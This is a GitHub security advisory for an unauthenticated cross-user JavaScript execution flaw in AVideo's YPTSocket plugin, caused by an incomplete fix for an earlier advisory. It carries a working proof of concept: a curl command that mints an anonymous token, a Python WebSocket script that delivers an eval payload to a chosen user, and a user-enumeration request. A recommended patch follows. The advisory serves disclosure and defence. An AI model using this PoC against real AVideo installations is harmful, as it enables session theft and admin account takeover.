Skip to content

AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass

High severity GitHub Reviewed Published Apr 25, 2026 in WWBN/AVideo • Updated May 13, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().

Details

Entry point (unauthenticated)

plugin/YPTSocket/getWebSocket.json.php (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:

$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));

getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.

Incomplete strip (the fix from commit c08694bf6)

plugin/YPTSocket/Message.php:236-247:

// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.

Relay preference picks the untouched field

plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):

if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:

  1. Passes switch ($json->msg) into the default case (Message.php:211, 228).
  2. msgToArray($json) converts to array. The strip branch enters because sentFrom === 'browser', but is_array("x") is false and the strip is skipped.
  3. Routing lands on msgToUsers_id($json, $json['to_users_id']) (Message.php:253), which for each matching resource calls msgToResourceId($msg, $resourceId) (Message.php:379).
  4. In msgToResourceId, !empty($msg['json']) is true, so $obj['msg'] becomes {"autoEvalCodeOnHTML": "<js>"} (Message.php:316-317).
  5. The shouldPropagateInfo() check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.

Client-side sink

plugin/YPTSocket/script.js:573-575:

if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.

Routing to any user

msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.

PoC

Step 1 — mint an unauthenticated WebSocket token:

curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}

Step 2 — connect and send the crafted message:

import json, ssl, websocket

TOKEN  = '<TOKEN>'          # from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2                  # any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',                                                  # scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()

Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().

Optional Step 0 — enumerate active users (using the same token):

ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values

Impact

  • Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site — no click, no link, no CSRF.
  • Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
  • Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.
  • Mass exploitation feasible: getClientsList (also reachable with the anonymous token) enumerates active users_id values, and the attacker can iterate to_users_id across all of them.
  • This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit c08694bf6 remain exploitable.

Recommended Fix

Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():

if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    foreach (['msg', 'json'] as $k) {
        if (is_array($json[$k] ?? null)) {
            unset($json[$k]['autoEvalCodeOnHTML']);
        }
    }
    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
    if (isset($json['autoEvalCodeOnHTML'])) {
        unset($json['autoEvalCodeOnHTML']);
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink — walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Apr 25, 2026
Published to the GitHub Advisory Database May 5, 2026
Reviewed May 5, 2026
Published by the National Vulnerability Database May 11, 2026
Last updated May 13, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-43874

GHSA ID

GHSA-ghcv-22jf-vfxm

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.